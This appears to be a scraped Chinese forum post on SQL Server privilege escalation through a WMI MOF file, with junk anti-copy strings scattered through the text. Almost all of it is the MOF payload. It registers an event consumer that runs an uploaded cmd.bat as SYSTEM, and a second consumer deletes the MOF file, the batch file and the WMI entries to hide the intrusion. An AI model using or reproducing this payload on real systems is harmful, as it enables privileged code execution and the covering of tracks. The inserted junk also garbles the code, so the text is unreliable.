这个sql提权MOF需要运行 system下的文件,不能定义路径。, R0 n- j+ |0 I4 b/ k4 G
需要将要运行的命令写入到bat上传到system32目录,然后执行。, w5 Z# f0 R8 V% d2 g
& s$ q& g8 v+ B: i$ c
这个sql提权MOF需要运行 system下的文件,不能定义路径。* E% c+ f/ q% I( T) B
需要将要运行的命令写入到bat上传到system32目录,然后执行。
3 ^7 z; ?0 N% |, r! ]
8 a) E# o8 `3 U( U( R" T3 g#pragma; ^9 f. U' B2 O& n' c
namespace("\\\\.\\root\\cimv2")* P9 _( Y$ ~ P" P" H/ \
class2 L/ ?# v; `5 t" ?
MyClass547
/ f2 p7 Y5 E/ n: u$ { { [key]$ f2 u( N( u) l- N6 O
string
* A4 h. @7 T$ ]+ C1 T Name;! {( G9 k1 o2 j6 \( |
};% n0 X% _ I! P! L+ `
class
, y$ s2 O* }+ D) e6 L; d, D/ v5 i1 W ActiveScriptEventConsumer" q$ ~' p [4 c1 T% g; d ^
: __EventConsumer { [key]
: {5 d0 u- P% I1 N. H string9 x0 t! ^2 @. |6 s* v9 B/ n% Q
Name; [not_null] B' w* N5 n5 F' }. x A0 P1 h$ M
string2 s7 W' I3 S+ M* F6 q" e
ScriptingEngine; string
9 h! n) i. X6 K6 _% g ScriptFileName; [template]
1 {! l/ v2 a. A, {1 J string
1 C$ r& q2 S& t/ R0 }( T6 e1 C ScriptText; uint32 KillTimeout;+ O' `* S3 I* l
}; instance of __Win32Provider as $P {5 \) N3 B0 Z' b( A) Q) m
Name
) F' ^2 f. J, u. b5 w- V =
. R5 u- C( p9 f! ^( p8 A7 ^3 V "ActiveScriptEventConsumer"; CLSID =" h/ j3 z0 a% \7 k+ O5 d
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
% P0 I+ t0 p5 k8 E PerUserInitialization; E5 e4 R1 C/ u# z# v2 y. `
= TRUE;6 ^& o# B# |$ @
}; instance of __EventConsumerProviderRegistration { Provider' C* S$ O' I3 ]( w: f; F+ E
= $P; ConsumerClassNames9 g: m+ X/ Y* k- c
=/ P2 C4 w. N9 ^5 n; X5 v' x
{"ActiveScriptEventConsumer"};
% p" k3 f% Z3 |: N/ E, Z0 o- I8 ` };
8 H6 L4 r2 {/ y5 A$ {* ^: j Instance of ActiveScriptEventConsumer5 D, [: {0 ^. x7 }2 z, b$ {2 S) e
as $cons { Name
% |* W: C7 U' H' A7 c8 v# ~9 t =
* r' M, w5 l' O0 h4 p v! M: k "ASEC"; ScriptingEngine) t; Z& d( c0 x! D. Y: T
=2 V. D% d* a' _+ y
"JScript"; ScriptText: y9 H9 \( I3 U" ]
=- n3 _! |) K ?' @ ~% m
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };' y/ u N3 m5 N: m$ b
Instance of ActiveScriptEventConsumer
; n3 O8 ?; y5 m! w% h8 p as $cons2 { Name2 j+ \" s' C* w2 f
=/ b7 O. q G: p6 e" ]
"qndASEC"; ScriptingEngine
2 o0 Y( m! P# H =
6 t. [2 P) q E8 ~9 U; R( U* V8 v "JScript"; ScriptText( O8 O( c! z' v/ E0 Y
=
# j. B. q" }- U7 Z& K) ^, u "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
6 s0 N3 c% F# o }; instance of __EventFilter as $Filt { Name# Q) h+ v# c) N X0 ^
=3 Z, g% d6 }& P# l
"instfilt"; Query
, u7 ~; l5 {) g% O. Y9 f7 B) m% g) w =
. T$ k1 w1 H5 }; w3 |% m "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
; _' `8 {+ p6 ?/ ^$ o =, P- J) N! G8 L5 u& T
"WQL"; }; instance of __EventFilter as $Filt2 { Name
/ o5 p( C+ U" b* f( w- ^$ W9 I =
; E! T* R# ~; O8 R* l' V N2 t "qndfilt"; Query* D, C: G2 ]2 ^0 @; Z) X
=4 e! Z% T3 K& b/ y
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage. N7 u( K- ?5 E: H5 ?
=
1 H5 T( O: t, {' _& V "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
# {3 {' n5 p( `. o = $cons; Filter
- y* v: e' ^, L/ ]. W9 R/ P = $Filt;0 F4 n0 ]! \$ K8 B& x4 \
}; instance of __FilterToConsumerBinding as $bind2 { Consumer! h- P n( p! o- z t5 k
= $cons2; Filter, T/ [+ M% L) R% y3 c" Y
= $Filt2;
7 R1 H6 u) D$ l) F }; instance of MyClass547
. A4 Y3 o* L0 h+ F6 U8 P as $MyClass { Name. W) H5 R0 {/ g
=
& f- i |+ |; X1 s! G "ClassConsumer";" Z7 C8 i5 ?! [/ |: ?: d; a
}; |